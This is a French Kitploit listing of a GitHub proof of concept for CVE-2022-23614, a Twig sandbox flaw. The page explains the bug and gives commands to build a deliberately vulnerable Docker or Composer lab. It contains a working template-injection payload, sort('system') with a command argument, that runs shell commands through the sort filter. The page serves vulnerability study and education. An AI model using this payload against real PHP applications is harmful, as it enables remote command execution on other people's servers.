Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-23614 — Preuve de concept pour CVE-2022-23614 (injection de commandes dans Twig) | Kitploit
Outils/GitHubGitHub/4rtamis/cve-2022-23614
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

Preuve de concept pour CVE-2022-23614 (injection de commandes dans Twig)

Voir le dépôt
1il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-23614

Preuve de concept (PoC) pour CVE-2022-23614 référencée dans la DSA-5107-1.

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

Explication

Twig est un moteur de templates flexible, rapide et sécurisé pour PHP. Notamment, il est possible d'utiliser des filtres dans un template avant de le rendre. Le filtre sort peut être utilisé pour trier les éléments d'un tableau avec la structure suivante :

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig dispose d'un mode sandbox pour évaluer du code de template non fiable. Lorsqu'on est dans ce mode sandbox, le paramètre arrow du filtre sort doit être une fermeture (closure) pour empêcher les attaquants d'exécuter des fonctions PHP arbitraires. Dans les versions concernées, cette contrainte n'était pas correctement appliquée et pouvait conduire à une injection de code PHP arbitraire.

root@kitploit:~
{{ ["id",""]|sort('system') }}

Utilisation

Ce PoC illustre la vulnérabilité dans deux cas d'utilisation différents : soit en utilisant le paquet Debian php-twig (v2.14.1), soit en utilisant le module Composer twig/twig (v2.14).

Le fichier index.php crée un template Twig basé sur le premier argument. Dans le code suivant, argv[1] est le nom de la fonction de tri qui sera utilisée par Twig lors du rendu.

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

Ensuite, index.php utilisera deux fonctions obsolètes de Twig pour charger le template généré. Finalement, il utilise le second argument (argv[2]) pour passer des données au template lors de son rendu, notamment le tableau args que nous voulons trier.

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

Le template rendu est ensuite affiché sur la sortie standard.

Veuillez noter que ce dépôt a été créé à des fins de démonstration uniquement. Il est conçu pour être simple à comprendre et facile à utiliser afin de jouer avec la CVE en utilisant uniquement une interface en ligne de commande. Il est assez éloigné de ce que l'on peut trouver sur un véritable serveur vulnérable.

php-twig

En utilisant Docker, nous sommes en mesure de recréer le contexte de l'avis de sécurité Debian (DSA) original. Vous pouvez utiliser le script build-docker.sh fourni pour construire et exécuter correctement le conteneur vulnérable.

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

Le conteneur devrait s'arrêter une fois la charge utile (payload) exécutée (une commande id). Si vous souhaitez essayer vos propres commandes, vous pouvez exécuter le conteneur en mode interactif :

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

Une fois dans le conteneur, vous pouvez créer votre propre charge utile en utilisant le modèle suivant :

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

Ce dockerfile a été partiellement créé avec DECRET.

Composer

Si vous avez déjà php et Composer installés sur votre machine, vous pouvez reproduire l'exploit en utilisant le module Composer vulnérable.

root@kitploit:~
cd exploit
composer install

Ensuite, il vous suffit de jouer avec la charge utile.

root@kitploit:~
php index.php system '{"args":["id",""]}'

Références

Détails de la CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

Commit du correctif: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

PoC par davwwwx (en utilisant une interface graphique): https://github.com/davwwwx/CVE-2022-23614

Télécharger l’outil